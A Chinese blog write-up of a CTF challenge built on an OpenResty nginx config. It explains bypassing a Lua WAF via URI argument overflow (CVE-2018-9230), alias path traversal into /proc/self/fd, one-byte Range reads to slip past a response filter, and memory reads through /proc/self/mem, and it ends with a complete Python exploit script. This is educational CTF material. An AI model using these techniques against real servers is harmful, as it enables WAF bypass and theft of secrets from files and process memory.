Linux的/proc/self学习(CTF实践)

本题来自JLU SpiritCTF热身赛(level4)

题目源码是nginx.config文件,考点是nginx下的lua库

worker_processes 1;

events {
    use epoll;
    worker_connections 10240;
}

http {
    include mime.types;
    default_type text/html;
    access_log off;
    error_log /dev/null;
    sendfile on;

    init_by_lua_block {
        f = io.open("/flag", "r")
        f2 = io.open("/password", "r")
        flag = f:read("*all")
        password = f2:read("*all")
        f:close()
        password = string.gsub(password, "[\n\r]", "")
        os.remove("/flag")
        os.remove("/password")
    }

    server {
        listen 80 default_server;
        location / {
            content_by_lua_block {
                ngx.say("hello, world!")
            }
        }

        location /static {
            alias /www/;
            access_by_lua_block {
                if ngx.var.remote_addr ~= "127.0.0.1" then
                    ngx.exit(403)
                end
            }
            add_header Accept-Ranges bytes;
        }

        location /download {
            access_by_lua_block {
                local blacklist = {"%.", "/", ";", "flag", "proc"}
                local args = ngx.req.get_uri_args()
                for k, v in pairs(args) do
                    for _, b in ipairs(blacklist) do
                        if string.find(v, b) then
                            ngx.exit(403)
                        end
                    end
                end
            }
            add_header Content-Disposition "attachment; filename=download.txt";
            proxy_pass http://127.0.0.1/static$arg_filename;
            body_filter_by_lua_block {
                local blacklist = {"flag", "spirit", "ctf", "game", "password", "secret", "confidential"}
                for _, b in ipairs(blacklist) do
                    if string.find(ngx.arg[1], b) then
                        ngx.arg[1] = string.rep("*", string.len(ngx.arg[1]))
                    end
                end
            }
        }

        location /read_anywhere {
            access_by_lua_block {
                if ngx.var.http_x_gateway_password ~= password then
                    ngx.say("go find the password first!")
                    ngx.exit(403)
                end
            }
            content_by_lua_block {
                local f = io.open(ngx.var.http_x_gateway_filename, "r")
                if not f then
                    ngx.exit(404)
                end
                local start = tonumber(ngx.var.http_x_gateway_start) or 0
                local length = tonumber(ngx.var.http_x_gateway_length) or 1024
                if length > 1024 * 1024 then
                    length = 1024 * 1024
                end
                f:seek("set", start)
                local content = f:read(length)
                f:close()
                ngx.say(content)
                ngx.header["Content-Type"] = "application/octet-stream"
            }
        }
    }
}

通过审计环境与目标快照,可以知道配置文件中init_by_lua_block 在启动时读取 /flag 与 /password,保存到全局变量 flag、password;之后删除这两个文件。只关闭了 /flag 的句柄,/password 的文件句柄未关闭。

对各个路由的分析:

/static 路由:/alias /www/,仅允许 127.0.0.1 访问,返回头有 Accept-Ranges: bytes(可按 Range 断点续传/分段读取)。

/download 路由:access_by_lua_block 用 ngx.req.get_uri_args 对“参数值”做黑名单过滤(包含 . / ; flag proc 等),匹配则 403。proxy_pass 到 http://127.0.0.1/static$arg_filename(将 $arg_filename 拼到 /static 后面转发)。body_filter_by_lua_block 会把响应体中出现的敏感词(如 flag、password、spirit、ctf、game 等)替换成等长的星号。

/read_anywhere 路由:通过请求头 x-gateway-password 验证口令(与 init 读入的 password 比较)。允许用 x-gateway-filename 指定任意文件、x-gateway-start 指定偏移、x-gateway-length 指定读取长度(最大 1MB),直接读文件后输出。

通过分析可以获得解题大致思路:由于/password句柄未关闭,所以进程依然占着一个指向原 inode 的 fd, 就可以通过举 /proc/self/fd/{id} 读出 password 内容。有了 password 后,打通 /read_anywhere,先读 /proc/self/maps 找可读可写的匿名或已删除映射区,再用 /proc/self/mem + 偏移读进程内存,搜出内存中的 flag。

在获得password,和正则匹配flag字段时源码存在WAF使得我们不能拿到。通过查询,发现了OpenResty uri参数溢出漏洞(CVE-2018-9230)(漏洞简介:OpenResty 通过ngx.req.get_uri_args、ngx.req.get_post_args获取参数,只能获取到前100个参数,当提交第101个参数时,uri参数溢出,无法正确获取到第101个及以后的参数,无法对攻击者提交的攻击语句进行安全检测,导致基于ngx_lua开发的安全防护可被绕过,影响多款基于OpenResty的开源WAF。)

基于cve可以:

1./download 路由利用“100 个 dummy 参数 + 第 101 个为 filename”的技巧绕过参数审计。

2.借助“../”穿越 alias,把 /download 代理请求打进同机 /static,并落到 /proc/self/fd/n 上。

3.利用 Range 头分 1 字节读取,绕过 body_filter 的敏感词替换,从 /proc/self/fd/n 枚举读取 password。

4.用拿到的 password 请求 /read_anywhere,先读 /proc/self/maps,定位可疑内存区。

5.再用 /read_anywhere 读取 /proc/self/mem 指定偏移的原始内存数据,搜索 flag 格式串并取出。

 

步骤1:确认参数溢出点与黑名单逻辑

    现象与原理:

                   /download 的 access_by_lua_block 对 args 逐个 value 检查是否包含 “.”, “/”, “;”, “flag”, “proc” 等,一旦命中就 403

                   通过构造 100 个无害参数 x0=0&x1=0&…&x99=0,再把真正的 filename 放在第 101 个位置,filename 不会出现在 args 表里,自然不会被黑名单拦住。但是 $arg_filename 变量在 Nginx 阶段仍可取到真实值,被拼进 proxy_pass 的目标 URI。

步骤2:借助 alias 拼接与 127.0.0.1 绕过 /static 的访问限制关键点:

                     proxy_pass 到 http://127.0.0.1/static$arg_filename,意味着后端路径形如 /static../proc/self/fd/3。

                     Nginx 前缀匹配会命中 location /static,alias /www/ 会把“/static”之后的部分当作文件相对路径拼到 /www/ 后面。形如 /www/../proc/self/fd/3,即目录穿越到 /proc/self/fd/3。

                     因为是 Nginx 自己转发给 127.0.0.1,/static 的 access_by_lua_block 只允许 127.0.0.1 的限制就被满足了。

步骤3:用 Range 头一字节一字节读取,绕过响应体过滤,枚举 fd 拿到 password原理:

                    /download 的 body_filter 会对响应体中出现的单词“flag, spirit, ctf, game, password, secret, confidential”进行替换。

                    若每次只请求 1 字节(Range: bytes=n-n),则任意多字符关键字都无法被一次性匹配,自然不会被替换,得到真实字节。

步骤4:用拿到的 password 打开 /read_anywhere 通道,读取 /proc/self/maps

                    /read_anywhere 请求格式:

                   必须携带请求头 x-gateway-password: {你拿到的 password}

                   用 x-gateway-filename 指定目标文件路径

                   x-gateway-start 指定偏移(十进制)

                   x-gateway-length 指定读取长度(最大 1048576)

                  注:先读映射表 /proc/self/maps,推荐 length 够大一些(例如 65536 或 131072)

                  maps 中我们重点关注:

                  1.perms 含 rw 的映射区(可读可写)

                  2.pathname 为空或带“(deleted)”的区域(匿名/被删文件,最可能包含运行期变量,比如 flag 字符串)

解析出这些候选区间(把起止地址取出来)

步骤5:按候选区间去 /proc/self/mem(这里涉及Linux的/proc/self,理论详见 https://www.tutusec.com/2672.html) 读取原始内存,搜索 flag

                  用 /read_anywhere 读取 /proc/self/mem 指定范围的字节;一次最长 1MB,区间太大就分段读取。

                  搜索 flag 的正则(本题正则匹配SpiritCTF)

 

本题一键EXP:

import argparse
import itertools
import re
import sys
import time
import urllib.parse as u

import requests

DEFAULT_PATTERNS = [
    rb"SpiritCTF{[^}\n\r]{0,200}}",  # 题面示例
    rb"[Ff]lag{[^}\n\r]{0,200}}",  # 通用
    rb"[A-Za-z0-9_]{0,20}CTF{[^}\n\r]{0,200}}",  # 兜底:XXXCTF{...}
]

RANGE_STEP = 1  # /download Range 步长,字节
READ_ANY_MAX = 1024 * 1024  # /read_anywhere 最大读取 1MB
MAPS_READ_LEN = 256 * 1024  # 初次读取 /proc/self/maps 的长度
FD_ENUM_START = 3
FD_ENUM_END = 64
TIMEOUT = 8.0


def build_qs_with_dummy(filename):
    # 100 个 dummy 参数 + 第 101 个参数 filename,绕过 ngx.req.get_uri_args 的 100 限制
    qs = '&'.join(f'x{i}=0' for i in range(100))
    qs += '&filename=' + u.quote(filename, safe='/')
    return qs


def dl_fetch_byte(session, base, inner_path, off):
    # 通过 /download 以 Range: bytes=off-off 返回 1 字节
    url = f"{base.rstrip('/')}/download?{build_qs_with_dummy(inner_path)}"
    headers = {'Range': f'bytes={off}-{off+RANGE_STEP-1}'}
    try:
        r = session.get(url, headers=headers, timeout=TIMEOUT, allow_redirects=False)
        return r.status_code, r.content
    except requests.RequestException:
        return 0, b''


def dl_read_small_text(session, base, inner_path, limit=128, verbose=False):
    # 从 inner_path 逐字节读取(最多 limit 字节),遇到换行/空/异常则停止
    code, b0 = dl_fetch_byte(session, base, inner_path, 0)
    if code != 206 or not b0 or b0 == b'':
        return ''
    out = b'' if b0 in (b'\n', b'\r') else b0
    for i in range(1, limit):
        if verbose:
            sys.stdout.write(f"\r[.] reading: {out.decode(errors='ignore')}")
            sys.stdout.flush()
        code, bi = dl_fetch_byte(session, base, inner_path, i)
        if code != 206 or not bi or bi == b'' or bi in (b'\n', b'\r'):
            break
        out += bi
    if verbose:
        sys.stdout.write("\n")
    return out.decode(errors='ignore')


def find_password_via_fd(session, base, fd_start=FD_ENUM_START, fd_end=FD_ENUM_END, probe_limit=128):
    # 枚举 /proc/self/fd/{n},逐个尝试读取少量文本,直到读到"像 password 的字符串"
    # 经验上 password 通常是可打印 ASCII,无换行
    for n in range(fd_start, fd_end):
        inner_path = f"../proc/self/fd/{n}"
        print(f"[*] probing fd={n} via {inner_path}")
        s = dl_read_small_text(session, base, inner_path, limit=probe_limit, verbose=True)
        # 粗略过滤:长度>3、都是可打印字符、无空白
        if s and len(s) >= 4 and all(32 <= ord(ch) < 127 for ch in s) and not any(c.isspace() for c in s):
            print(f"[+] candidate from fd={n}: {s}")
            # 简单校验:拿这个 password 去请求 /read_anywhere 的 /proc/self/maps,看是否 200/有内容
            ok = try_password(session, base, s)
            if ok:
                print(f"[+] password confirmed from fd={n}")
                return s
            else:
                print(f"[-] fd={n} candidate rejected by /read_anywhere")
    return ''


def try_password(session, base, pwd):
    # 用 pwd 读 /proc/self/maps 前 64K 验证
    headers = {
        'x-gateway-password': pwd,
        'x-gateway-filename': '/proc/self/maps',
        'x-gateway-start': '0',
        'x-gateway-length': str(64 * 1024)
    }
    url = f"{base.rstrip('/')}/read_anywhere"
    try:
        r = session.get(url, headers=headers, timeout=TIMEOUT)
        return (r.status_code == 200) and (len(r.content) > 0) and (b'go find the password first!' not in r.content)
    except requests.RequestException:
        return False


def read_any(session, base, pwd, fname, start=0, length=READ_ANY_MAX):
    headers = {
        'x-gateway-password': pwd,
        'x-gateway-filename': fname,
        'x-gateway-start': str(start),
        'x-gateway-length': str(min(length, READ_ANY_MAX)),
    }
    url = f"{base.rstrip('/')}/read_anywhere"
    r = session.get(url, headers=headers, timeout=TIMEOUT)
    if r.status_code != 200:
        raise RuntimeError(f"read_any failed: HTTP {r.status_code}")
    return r.content


def read_maps(session, base, pwd, length=MAPS_READ_LEN):
    data = read_any(session, base, pwd, '/proc/self/maps', 0, length)
    return data.decode(errors='ignore')


def parse_rw_candidate_ranges(maps_text):
    # 选择 perms 以 "rw" 开头 且 (无路径 或 含 (deleted)) 的区
    ranges = []
    for line in maps_text.splitlines():
        parts = line.split()
        if len(parts) < 2:
            continue
        addr, perms = parts[0], parts[1]
        path = parts[5] if len(parts) >= 6 else ''
        if perms.startswith('rw') and (not path or '(deleted)' in path):
            try:
                start_s, end_s = addr.split('-')
                start, end = int(start_s, 16), int(end_s, 16)
                if end > start:
                    ranges.append((start, end))
            except Exception:
                continue
    # 优先读较小/较前的段
    ranges.sort(key=lambda x: (x[1] - x[0], x[0]))
    return ranges


def search_flag_in_mem(session, base, pwd, ranges, patterns, chunk=READ_ANY_MAX, carry=4096):
    # 在每个候选内存段里分块读 /proc/self/mem,并用多个 regex 搜索
    cre_list = [re.compile(pat) for pat in patterns]
    for (start, end) in ranges:
        size = end - start
        print(f"[*] scanning region {hex(start)}-{hex(end)} size={size//1024}KB")
        off = start
        prev_tail = b""
        while off < end:
            to_read = min(chunk, end - off)
            data = read_any(session, base, pwd, '/proc/self/mem', off, to_read)
            buf = prev_tail + data
            for cre in cre_list:
                m = cre.search(buf)
                if m:
                    flag = m.group(0).decode(errors='ignore')
                    return flag
            # 处理跨块匹配:保留尾巴
            prev_tail = buf[-carry:] if len(buf) > carry else buf
            off += to_read
    return ''


def main():
    ap = argparse.ArgumentParser(
        description="OpenResty/ngx_lua CTF solver: get password via /download, then read flag from memory via /read_anywhere.")
    ap.add_argument("--base", required=True, help="base URL, e.g., http://127.0.0.1:80")
    ap.add_argument("--fd-start", type=int, default=FD_ENUM_START, help="fd enumeration start (default 3)")
    ap.add_argument("--fd-end", type=int, default=FD_ENUM_END, help="fd enumeration end (default 64, exclusive)")
    ap.add_argument("--flag-regex", action="append", help="add a custom regex for flag (bytes). Can repeat.")
    ap.add_argument("--maps-len", type=int, default=MAPS_READ_LEN,
                    help="read length for /proc/self/maps (default 262144)")
    ap.add_argument("--mem-chunk", type=int, default=READ_ANY_MAX,
                    help="chunk size when reading /proc/self/mem (<= 1048576)")
    args = ap.parse_args()

    base = args.base
    patterns = [x.encode() for x in args.flag_regex] if args.flag_regex else DEFAULT_PATTERNS
    with requests.Session() as s:
        print("[*] stage1: extracting password via /download + Range + param overflow")
        pwd = find_password_via_fd(s, base, fd_start=args.fd_start, fd_end=args.fd_end)
        if not pwd:
            print("[-] failed to obtain password from /proc/self/fd/* range", file=sys.stderr)
            sys.exit(2)
        print(f"[+] password = {pwd}")
        print("[*] stage2: reading /proc/self/maps via /read_anywhere")
        maps_text = read_maps(s, base, pwd, length=args.maps_len)
        print("[*] maps (head):")
        print("\n".join(maps_text.splitlines()[:10]))
        cand = parse_rw_candidate_ranges(maps_text)
        if not cand:
            print("[-] no candidate rw mem ranges from maps", file=sys.stderr)
            sys.exit(3)
        print(f"[+] candidate rw ranges = {len(cand)}")
        print("[*] stage3: scanning /proc/self/mem for flag")
        flag = search_flag_in_mem(s, base, pwd, cand, patterns, chunk=min(args.mem_chunk, READ_ANY_MAX))
        if not flag:
            print(
                "[-] flag not found. Consider increasing --maps-len, widening patterns with --flag-regex, or re-running.",
                file=sys.stderr)
            sys.exit(4)
        print(f"[+] flag = {flag}")


if __name__ == "__main__":
    main()

method:python solve.py –base ip:port

 

总结与思考:

  • 为什么“参数溢出”能绕过 /download 的黑名单?
    • ngx.req.get_uri_args 默认最多解析并返回前 100 个参数值。第 101 个以后在 Lua 层看不到,自然不参与黑名单匹配。但 Nginx 的 $arg_filename 是从原始查询串解析,不受这个 100 个的限制,仍能取到真实 filename 并拼进 proxy_pass。
  • 为什么 Range=1 字节能绕过响应体的敏感词替换?
    • body_filter_by_lua_block 的实现是对每个输出块(chunk)进行 string.find 检查。我们让后端基于 Range 只返回 1 字节,任何多字符单词都无法在一个单字节块中匹配,替换逻辑就不生效。
  • 为什么能从 /proc/self/fd/ 读到 password?
    • init 阶段打开了 /password 并赋值给变量 password,但没 f2:close() 就把文件删除了。进程仍持有该文件的打开 fd,可通过 /proc/self/fd/n 访问该 fd 指向的匿名 inode,从而读出原内容。
  • 为什么要读 /proc/self/mem?
    • /flag 文件在 init 后被删除,但其内容被保存在 Lua 变量 flag 中,依然驻留在进程内存里。通过 /proc/self/maps 定位可疑内存段,再用 /proc/self/mem 读出内存并搜索特征即可拿到 flag。
  • 目录穿越为什么成立?
    • proxy_pass 拼出 /static../proc/self/fd/3,这个请求会命中 location /static。alias /www/ 会把“/static”后面的部分拼接到 /www/ 后面,得到 /www/../proc/self/fd/3。由于没有额外的路径归一化限制,能穿出到 /proc/self/fd/。此时访问来源是 127.0.0.1(Nginx 自己),通过了 /static 的访问限制。
  • 本题考查的是:
    • OpenResty 参数溢出(CVE-2018-9230)导致的 WAF 绕过;
    • 利用 Range 分片读取绕过响应体关键字替换;
    • 文件句柄未关闭引发的 /proc/self/fd 泄露;
    • 利用 /proc/self/maps 和 /proc/self/mem 从进程内存中还原被删除文件内容(flag)。

本题CVE-2018-9230,参考: https://github.com/Bypass007/vuln/blob/master/OpenResty/OpenResty%20uri参数溢出漏洞.md

 

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容